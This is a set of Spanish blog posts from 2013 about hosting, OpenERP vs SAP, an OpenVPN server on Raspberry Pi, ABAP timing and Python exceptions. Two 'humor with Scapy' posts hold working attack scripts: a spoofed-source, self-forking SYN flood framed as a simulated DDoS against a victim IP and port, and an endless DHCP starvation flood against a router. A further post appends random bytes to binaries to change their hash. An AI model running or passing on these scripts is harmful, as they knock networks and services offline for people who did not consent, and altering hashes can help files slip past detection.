<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.wired.com/wiredenterprise/wp-content/uploads/2013/04/digitalocean.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="121" src="http://www.wired.com/wiredenterprise/wp-content/uploads/2013/04/digitalocean.png" width="200" /></a></div>
Como ya he dicho antes, todos los datos los migraré a servidores o Droplets como lo llaman <a href="http://digitalocean.com/">Digital Ocean</a>.<span style="text-align: justify;"> Lo descubrí gracias a un compañero y la verdad me ha sorprendido el precio de las máquinas, su calidad y la libertad para crearte tu entorno deseado. Por ahora lo veo un poco para desarrolladores con cierto nivel y conocimiento, o para empresas. Por otro lado se ve que van sacando opciones predefinidas para ampliar al público menos experimentado.</span><br />
<span style="text-align: justify;"><br /></span>
<span style="text-align: justify;">PEROOO... <a href="http://aws.amazon.com/">Amazon AWS</a> hace algo parecido??? si... pero la factura a veces te asusta.</span><br />
<div style="text-align: justify;">
<br />
Desde hace un tiempo ya tenia claro que algún día tenia que migrar y pasarme a un servicio mejor. Y en mi opinión <a href="http://digitalocean.com/">Digital Ocean</a> supera con creces mis expectativas joder si es que ¡¡Usa discos duros SSD!! y el precio por hora está más que genial!!!<br />
<br /></div>
<div style="text-align: justify;">
Muy bien, tengo el servidor y el espacio pero... y los dominios?? <a href="http://namecheap.com/">Namecheap </a>sencillamente por unanimidad donde sino?</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-57328877061937366952013-08-21T10:00:00.000+02:002013-08-21T10:00:10.410+02:00De risas, con humor y Scapy (II)<div dir="ltr" style="text-align: left;" trbidi="on">
Bienvenidos a la segunda edición de HUMOR CON SCAPY!! hoy.... Simular una Botnet para lanzar un DDOS simulado.<br />
<br />
<div style="text-align: justify;">
Como bien sabéis el objetivo de los DDOS es saturar un servicio y colapsarlo. Bien pues con la librería Scapy de Python generaremos un bucle de paquetes que van a ir dirigidos a una única dirección IP y puerto. Le añadiremos un mensaje algo como "Egunon macarrones" y le pondremos que la IP origen sea aleatoria para que no se vea reflejada nuestra dirección. Y listo!!</div>
<br />
<pre class="brush:python">#! /usr/bin/env python
import sys
import os
from scapy.all import *
victima=sys.argv[1]
puerto=sys.argv[2]
mensaje=sys.argv[3]
hilos=sys.argv[4]
print victima
print puerto
print mensaje
try:
hilos=int(hilos)
except:
hilos=0
print hilos
while hilos > 0:
if os.fork() == 0:
os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
hilos-=1
ddos=IP(src=RandIP(),dst=str(victima),id=1111,ttl=255)/fuzz(TCP(sport=RandShort(),dport=int(puerto),seq=12345,ack=1000,window=1000,flags="S"))/str(mensaje)
ls(ddos)
srloop(ddos,inter=0.01,count=1000)
#Y para que sea infinito lo lanzamos otra vez
if os.fork() == 0:
os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
exit()
</pre>
<br />
La forma de usar es muy sencilla solo hay que indicar en el siguiente orden:<br />
IP= dirección IP de la victima<br />
PUERTO= servicio a atacar 80 el HTTP por ejemplo<br />
"MENSAJE"= texto que se enviará junto con el paquete<br />
HILOS= tiene que ser una cifra del 0 a N. El programa creará procesos similares para intensificar la simulación del ataque.<br />
<pre class="brush:python">./simulaDDOS.py 192.168.1.100 80 "Egunon macarrones" 2
</pre>
Espero que os sirva como prueba para hacer alguna prueba de estrés en alguna máquina.<br />
<br />
Un saludo.</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-9985974187447688502013-08-20T10:30:00.000+02:002013-08-26T10:08:40.044+02:00OpenERP vs SAP: entorno<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Mi nueva sección y creo que está va ser la más polémica. Voy a enfrentar OpenERP contra SAP. Sacaré todas mis malas, buenas, impresiones... de estos dos entornos.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Resumen rápido!!!</b></div>
<div style="text-align: justify;">
Uno de código abierto OpenERP y SAP es privativo. Para los de la ESO uno es "gratis" y el otro de pago. Están orientados para que se usen en entornos empresariales, y facilitar distintos aspectos como el sistema de ventas, finanzas...</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Comenzamos... bueno empezaré diciendo que a día de hoy no he conocido nada que no se pueda hacer en los dos entornos. Con OpenERP se crean módulos en Python y con SAP compras los módulos que necesitas para crear aplicaciones en el lenguaje ABAP por lo general.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
-OpenERP al ser Python puedes calzarlo con cualquier otro entorno ya que es un lenguaje multiplatafrorma.</div>
<div style="text-align: justify;">
-SAP no tiene esa libertad de calzarlo en cualquier entorno, puedes comprar licencia para la SDK y conectarlo con Java y .NET por suerte Java tiene multitud de librerías con las que puedes comunicarlo con otros entornos.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Así que se podría decir que en este primer tiempo quedan en empate. Un poco justo por parte de SAP ya que tiene que hacer escala pero bueno.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Sobre el tema del soporte sin duda SAP lo tiene 24horas. OpenERP también puedes contratarlo y listo y si no quieres gastar un duro hay comunidades dispuestas a echarte una mano. Pero eso si... Ninguno de los dos soportes cubre modificaciones de métodos, funciones.. que pertenezcan al núcleo del software. Vamos una regla de oro "Ni se os ocurra modificar nada que no hayas creado tu, sin permiso." Es posible que pierdas en el caso de haberlo pagado el soporte o es posible que el código que has copiado de internet que modificaba partes el núcleo no era tan bueno como decían.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Documentación hay el minipunto está a favor y sin duda de OpenERP. La ayuda en SAP es toda en ingles, los mejores foros de ayuda y sitios es todo en ingles. Si no ponemos el idioma como impedimento, decir que la ayuda escasea mucho, usar el clásico<b> F1</b> no está mal y en muchas ocasiones es lo mejor que te puedes encontrar. En internet hay poco y aun peor si no sabes buscar muy concretamente lo que necesitas.</div>
<div style="text-align: justify;">
OpenERP tienes de todo, ejemplos comunidades, módulos publicados por desarrolladores. Y todo gratis. Bueno para no pillarme la mano diré que en gran parte todo gratuito y al alcance de cualquiera.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
A la hora de desarrollar ya os adelanto que el minipunto va para OpenERP de nuevo. Eclipse, Netbeans e incluso cualquier editor de texto. Puede ser usado para desarrollar un módulo en OpenERP. También decir que si editas con un entorno preparado como puede ser Eclipse tienes tus ayudas de código y otras ventajas. Vamos quiero decir que puedes elegir el entorno que cada desarrollador prefiera. La estructura del proyecto es mediante directorios y ficheros que pueden ser abiertos y editados con cualquier editor. Es muy manejable.</div>
<div style="text-align: justify;">
SAP tiene su propio editor, muy profesional y completo. Pero solo hay ese. Es más, en transacciones que no han sido mejoradas el editor es muy primitivo y no tan completo. No tienes esa facilidad de poder manejar los ficheros del proyecto a tu antojo. Simplemente por que el desarrollador no tiene acceso a los ficheros o a la fuente de donde se almacena. Bueno si te puedes copiar el codigo a tu fichero de texto, pero ya me meteré con ello más adelante que con copiar el código no es suficiente.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
OpenERP ya acumula dos minipuntos!! 1 - 0 a favor.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Ya que he sacado el tema de los ficheros hay el minipunto es para SAP. Si es cierto eso de obligarnos a todos los desarrolladores a tener el mismo acceso a los ficheros. Es mejor, así nadie tiene una copia del fichero que otro no tiene, no hay lineas de código que uno ve pero el otro no... Si con OpenERP puedes usar GIT , SVN o cualquier otro pero por mucho COMMIT que hagas si no hay un PUSH. Nadie ve los cambios, y por lo tanto luego vienen las sorpresas. Por esa parte en mi opinión SAP gana.<br />
<br />
Bueno, creo que por hoy es suficiente. Sobre los entornos no se me ocurre que más criticar... ya se me ocurrirá algo. De todas formas aun queda mucho que hablar. Os adelanto unos apartados (máquinas, diseño, calidad/precio, resultado final)<br />
<br />
MARCADOR: OpenERP 1 - SAP 0.5</div>
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300519 -4.3492371999999575 40.8034989 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-63215923118423750882013-08-19T14:00:00.000+02:002013-08-19T14:00:05.231+02:00De risas, con humor y Scapy<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Después de mucho tiempo vuelvo a escribir. Para comenzar con algo que considero interesante abro un apartado llamado <b>"De risas, con humor y Scapy"</b> será un apartado pequeñito ya que pondré unos pocos script "graciosetes". Comenzamos!!!!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Pondremos como victima el servidor DHCP de nuestro router wifi. Como sabréis un servidor DHCP se encarga de asignar a cada equipo que se conecta su configuración de red. Este va registrando las IP`s que han ido asignando a los diferentes equipos, para que nunca se repitan...</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
...Bien lo que realmente ocurre es que cuando un equipo se conecta y tiene en su tarjeta de red activo el DHCP este envía un paquete Broadcast que el router interpreta y responde. Y que ocurriría si por algún casual simulamos miles de paquetes falsos para que nuestro router asigne como loco a cada uno de ellos una IP? pues que nos quedamos sin direcciones y nadie se podrá "conectar". A no ser que se refresque la tabla, no se volverá a asignar nuevas direcciones. Eso si no petamos antes el router y colapsamos todo el tráfico.</div>
<br />
<div style="text-align: justify;">
Para el siguiente script como indica el titulo del post hay que tener la librería de Python Scapy ya instalada.</div>
Y sin más lios aquí os lo paso:<br />
<pre class="brush:python">#! /usr/bin/env python
import sys
from scapy.all import *
conf.checkIPaddr = False
dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("messagetype","discover"),"end"])
sendp(dhcp_discover,loop=1)
</pre>
<br />
<div style="text-align: justify;">
Este pequeño script de apenas 3 lineas lo que hace es generar de forma aleatoria e infinita paquetes con direcciones MAC también aleatorias y los envía por el protocolo dhcp_discover. Así que antes de liarla pulsar CTRL + C.</div>
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-13682827970746077872013-05-10T11:00:00.000+02:002013-05-10T11:00:02.920+02:00servidor OpenVPN en tu Raspberry Pi<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Desde hace ya un tiempo tuve la necesidad de montar una VPN. Me decanté por OpenVPN ya que siempre he pensado que era de lo más completo, en lo referente a la seguridad pudiendo acceder mediante user/pass + fichero.</div>
<div style="text-align: justify;">
Bueno pues... si haceis una simple busqueda en Google encontraremos manuales, algunos muy bien detallados y otros ... no tanto pero lo sorprendente que a todos ellos les funciona su servidor cosa que a mi nunca ha sido así. Siempre con problemas "una de las interfaces no hace MASQUERADE", "el paquete llega pero no pasa...", "me he confundido de puerto, AIS!!", "se conecta pero no navega..." Bueno un sin fin de problemas y ninguna solución. Y me he encontrado en varias ocasiones en las que ni calcando el ejemplo del propio manual he conseguido resultados. </div>
<br />
<div style="text-align: justify;">
Pues bien! hace unos días después de insistir en mil intentos inútiles me puse manos a la obra, pasando de manuales que ya me he leído muchos y creo que ya se perfectamente que tengo que hacer. El problema que nunca conseguí resultados. Solo espero que esto no sea un manual más donde solo a mi me funciona y al resto del mundo no. Así que intentaré ser lo más claro en los detalles.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Un resumen de mi red.</div>
<div style="text-align: justify;">
<b>(Equipo externo)=> {INTERNET} <=> [RouterWifi] <=> |Raspberry Pi| <= (Equipo local)</b></div>
<div style="text-align: justify;">
Por supuesto no falta decir que los equipos local y externo se conectan a la wifi. El local a la propia del router y el externo en la de un.... Starbucks para que sea molón el ejemplo. Y detalle importante OJO AL DATO la Raspberry Pi para el que no tenga una sólo tiene UNA interface FÍSICA de red ETH0. Ni una más ni una menos. Por supuesto en el router wifi tiene que estar abierto el puerto UDP 1194 o el que se configure en el servidor.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Como todos los manuales comenzamos.</div>
<pre class="brush:cpp">
apt-get install openvpn openssl
posteriormente copiamos y nos movemos de directorio
cp -R /usr/share/doc/openvpn/examples/easy-rsa /etc/openvpn
cd /etc/openvpn/easy-rsa/2.0
Y comenzamos a crear los ficheros clave y certificados
. ./vars
./clean-all
./build-ca
./build-key-server server
Ahora generamos tantas claves de clientes cómo usuarios queramos
./build-key client-movil
./build-key client-movilPapa
./build-key client-pcMio
./build-key client-pcPapa
./build-key client-invitado
Cuando tengamos todas las claves de clientes que queramos lanzamos lo siguiente
./build-dh
BUFFF esto tarda mucho. Si has generado muchas claves, vete a tomar un café o a sacar al perro.
Cuando termine si aun sigues despierto, copiamos las claves necesarias en el servidor
cd /etc/openvpn/easy-rsa/2.0/keys
cp ca.crt ca.key dh1024.pem server.crt server.key /etc/openvpn
Copiamos los ficheros clave de cada cliente.
Lo guardamos en nuestra propia carpeta. Así que en mi caso me creo una carpeta
mkdir /home/endika/MisClavesVPN
y copio en ella
cp client*.crt, client*.key ca.crt /home/endika/MisClavesVPN
Recodar donde lo hemos copiado que necesitaremos los ficheros para conectar los clientes
Ahora copiamos el fichero de configuración del servidor que tiene openvpn por defecto
cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn
gunzip /etc/openvpn/server.conf.gz
y lo editamos para que concuerde con nuestra configuración
nano /etc/openvpn/server.conf
</pre>
De ese fichero solo he modificado lo siguiente
modificar la IP local del servidor Raspberry Pi
<pre class="brush:cpp">
local 192.168.1.33
</pre>
El puerto si queremos modificarlo
<pre class="brush:cpp">
port 1194
</pre>
El protocolo si queremos cambiar UDP por TCP
<pre class="brush:cpp">
proto UDP
</pre>
La interface virtual si queremos modificar el nombre de TUN por TAP
<pre class="brush:cpp">
dev tun
</pre>
La Red virtual de la VPN
<pre class="brush:cpp">
server 10.8.0.0 255.255.255.0
</pre>
La Red local de nuestra wifi
<pre class="brush:cpp">
push "route 192.168.1.0 255.255.255.0"
</pre>
Los servidores DNS si queremos poner alguno, por ejemplo los DNS de google
<pre class="brush:cpp">
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
</pre>
Si os dais cuenta no tiene # ni un ; delante de la instrucción. Todo lo que lo tenga estará comentado y no surgirá efecto. Así es como queda mi fichero server.conf
<pre class="brush:cpp">
local 192.168.1.33
port 1194
proto udp
dev tun
ca ca.crt
cert server.crt
key server.key
dh dh1024.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push "route 192.168.1.0 255.255.255.0"
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
client-to-client
keepalive 10 120
comp-lzo
user nobody
user nogroup
persist-key
persist-tun
status openvpn-status.log
verb 3
</pre>
Últimos detalles, vamos a permitir que nuestra máquina actúe como un router
<pre class="brush:cpp">
echo 1 > /proc/sys/net/ipv4/conf/all/forwarding
</pre>
Y lo más importante las reglas del IPTABLES
<pre class="brush:cpp">
#!/bin/bash
echo "Limpiando IPTables"
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
echo "Configurando las interfaces eth0 y tun0"
iptables -A INPUT -i tun0 -j ACCEPT
iptables -A INPUT -i eth0 -j ACCEPT
iptables -I FORWARD -i eth0 -o tun0 -j ACCEPT
iptables -I FORWARD -i tun0 -o eth0 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -o eth0 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m state --state NEW -o eth0 -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
echo "para el resto de los casos aceptamos el tráfico"
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
</pre>
Revisar las reglas por si el nombre de las interfaces cambia o en el caso del masquerade por si la red no es la misma. Por otro lado las normas están echas para solo una ÚNICA interface de entrada y salida eth0.
Ya solo queda lanzar el servidor
<pre class="brush:cpp">
/etc/init.d/openvpn start
</pre>
Para evitar que sea muy largo este post en la segunda parte configuraremos los clientes para que se conecten al servidor
</div>Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com2Madrid, España40.4167754 -3.703790199999957640.0300489 -4.3492371999999575 40.8035019 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-91111208429746065722013-05-06T17:30:00.000+02:002013-05-06T17:30:01.884+02:00modificar el valor del HASH en un fichero binario<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Cada vez que modificamos un fichero su HASH obtiene un valor distinto. Pero que ocurre si el fichero es un binario? pues exactamente lo mismo. Aquí tenéis un pequeño script donde podemos indicar el nombre de nuestro binario y nos crea uno nuevo con 100 caracteres aleatorios añadidos al final del mismo. Esto no altera el funcionamiento pero si el valor de su hash.</div>
<pre class="brush:python">import sys,os,random
def bytes_aleatorio(n):
return "".join(chr(random.randrange(0,256)) for i in xrange(n))
nombre=str(sys.argv[1])
fichero=open(nombre,'rb').read()
fichero_nuevo=fichero+bytes_aleatorio(100)
open(nombre+str("_new"),'wb').write(fichero_nuevo)
os.system("md5sum "+nombre)
os.system("md5sum "+nombre+"_new")
</pre>
y su uso:<br />
<pre class="brush:python">python modificarHash.py NombreFicheroBinario
</pre>
y PUM!! el "mismo" fichero con un hash diferente.</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300519 -4.3492371999999575 40.8034989 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-22997583884247999862013-04-30T13:00:00.000+02:002013-04-30T13:01:53.805+02:00SAP ABAP: Recursividad VS ejecución lineal<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Realizando pruebas para ver si es viable el uso de la recursividad en SAP. Me encuentro con el siguiente resultado que os mostraré a continuación.</div>
<br />
<div style="text-align: left;">
Para realizar la prueba ejecuto el siguiente programa muy sencillo y creo que fácilmente comprensible. Bien según mis experiencias anteriores sobre la ejecución de métodos recursivos frente a los que no lo son, me dice la experiencia que la recursividad gana en la mayoría de los casos. Y claro d<span style="text-align: left;">entro de la burbuja del mundo SAP, yo creía que un sistema donde se ejecuta en máquinas "BRUTALES" la recursividad sería perfecto para no derrochar recursos. Así que comienzo a ejecutar lo siguiente:</span></div>
<br />
<pre class="brush:vb">DATA: lv_total TYPE i VALUE 0,
lv_aux TYPE i,
lv_inicio TYPE i,
lv_fin TYPE i,
operador TYPE i VALUE 1000.
PARAMETER lp_suma TYPE i DEFAULT 9999.
START-OF-SELECTION.
lv_aux = lp_suma. "Almacenamos el valor
GET RUN TIME FIELD lv_inicio.
* Metodo con secursividad --------------------------------------------------------
PERFORM suma USING lp_suma lv_total.
* -------------------------------------------------------------------------------
GET RUN TIME FIELD lv_fin.
lv_fin = ( lv_fin - lv_inicio ) / operador.
WRITE: / '(RECURSIVO) tiempo de respuesta: ', lv_fin , ' milisegundos'.
* ---------------------------------------------------------------------------------
* ---------------------------------------------------------------------------------
WRITE: /.
WRITE: /.
* ---------------------------------------------------------------------------------
* ---------------------------------------------------------------------------------
lp_suma = lv_aux. "cargamos su valor
lv_aux = lv_fin.
lv_total = 0.
GET RUN TIME FIELD lv_inicio.
* Metodo sin secursividad --------------------------------------------------------
WHILE lp_suma > 0.
lv_total = lv_total + lp_suma.
lp_suma = lp_suma - 1.
ENDWHILE.
WRITE: 'resultado ', lv_total.
* --------------------------------------------------------------------------------
GET RUN TIME FIELD lv_fin.
lv_fin = ( lv_fin - lv_inicio ) / operador.
WRITE: / '(NO RECURSIVO) tiempo de respuesta: ', lv_fin , ' milisegundos'.
WRITE: /.
WRITE: /.
IF lv_aux < lv_fin.
WRITE: / 'La recursividad es la mejor solución'.
ELSEIF lv_aux = lv_fin.
WRITE: / 'EMPATE!!!!'.
ELSE.
WRITE: / 'El while es la mejor solución'.
ENDIF.
FORM suma USING lv_suma TYPE i
lv_total TYPE i.
IF lv_suma GT 0.
lv_total = lv_total + lv_suma.
lv_suma = lv_suma - 1.
PERFORM suma USING lv_suma lv_total.
ELSE.
WRITE: 'resultado ', lv_total.
ENDIF.
ENDFORM.
</pre>
<br />
El programa ejecuta inicialmente una función recursiva y seguido ejecuta el mismo proceso sin aplicar recursividad. Finalmente en la pantalla muestra el resultado de la operación junto con los milisegundos que ha durado ambas. Y para mi sorpresa me encuentro lo siguiente:<br />
<pre class="brush:vb">resultado 49.995.000
(RECURSIVO) tiempo de respuesta: 49 milisegundos
resultado 49.995.000
(NO RECURSIVO) tiempo de respuesta: 24 milisegundos
El while es la mejor solución
</pre>
Bueno para mi desgracia la recursividad no es una solución.</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com1Madrid, España40.4167754 -3.703790199999957640.0300519 -4.3492371999999575 40.8034989 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-78555962923894748122013-04-25T13:45:00.000+02:002013-04-25T13:45:28.227+02:00Python excepciones, profundizando mucho más<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Vale muy bien, <a href="http://optimizarsinmas.blogspot.com.es/2013/04/python-excepciones-como-se-usan.html">ya sabemos cómo se usan los try</a>. Pero..... no está mal saber que clases de excepciones estándar tenemos disponibles. Os paso un diagrama en árbol de las excepciones estándar más comunes. La más genérica es <b>exception </b>pero si queremos realizar diferentes tratamientos no estaría mal saber algunas más.</div>
<blockquote>
<pre>Exception(*)
|
+-- SystemExit
+-- StandardError(*)
|
+-- KeyboardInterrupt
+-- ImportError
+-- EnvironmentError(*)
| |
| +-- IOError
| +-- OSError(*)
|
+-- EOFError
+-- RuntimeError
| |
| +-- NotImplementedError(*)
|
+-- NameError
+-- AttributeError
+-- SyntaxError
+-- TypeError
+-- AssertionError
+-- LookupError(*)
| |
| +-- IndexError
| +-- KeyError
|
+-- ArithmeticError(*)
| |
| +-- OverflowError
| +-- ZeroDivisionError
| +-- FloatingPointError
|
+-- ValueError
+-- SystemError
+-- MemoryError</pre>
</blockquote>
Un ejemplo de su uso<br />
<pre class="brush:python">parsed = False
while not parsed:
try:
x = int(raw_input('Mete el primer valor: '))
y = int(raw_input('Mete el segundo valor: '))
result= x/y
except ValueError:
print 'Numero introducido erroneo!!!'
except ZeroDivisionError:
print "dividir por CERO!! LOKO!!"
else:
parsed = True
print "resultado: ", result
</pre>
Si queremos provocar la ejecución de una excepción podemos usar raiser.
<br />
<pre class="brush:python">try:
raise Exception()
except:
print "ERROR: ", sys.exc_type + ":", sys.exc_value
</pre>
Por último nos crearemos nuestra propia excepción.
<br />
<pre class="brush:python">class MyPropioError(Exception):
def __init__(self, value):
self.value = value
def __str__(self):
return repr(self.value)
try:
raise MyPropioError("Algo muy gordo a pasado")
except MyPropioError, e:
print 'Se ha ejecutado, value:', e.value
</pre>
Esto mostrará el texto "Algo muy gordo a pasado"
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300489 -4.3492371999999575 40.8035019 -3.0583431999999577tag:blogger.com,1999:blog-1317740083899097806.post-41174045469326825362013-04-25T13:00:00.000+02:002013-04-25T13:00:00.639+02:00Python excepciones, cómo se usan<div dir="ltr" style="text-align: left;" trbidi="on">
La estructura de un try en python es la siguiente:<br />
<pre class="brush:python">try:
Sentencias que podrán dar a posible error
except IdentificarError:
Que ejecutamos cuando se produce el error
finally:
Sentencias que se ejecutan siempre. Exista o no el error
else:
Sentencias que ejecutamos en caso de no existir el error
</pre>
<div>
Os muestro un ejemplo clásico de la división por 0</div>
<pre class="brush:python">try:
result = 10 / 0
except ZeroDivisionError:
print "dividir por CERO!! LOKO!!"
else:
print "resultado: ", result
</pre>
Si quereis entrar en más detalle. Os recomiendo <a href="http://docs.python.org/2/tutorial/errors.html">Python - Errors and Exceptions</a>
</div>
Endikahttp://www.blogger.com/profile/14017255221236595320noreply@blogger.com0Madrid, España40.4167754 -3.703790199999957640.0300489 -4.3492371999999575 40.8035019 -3.0583431999999577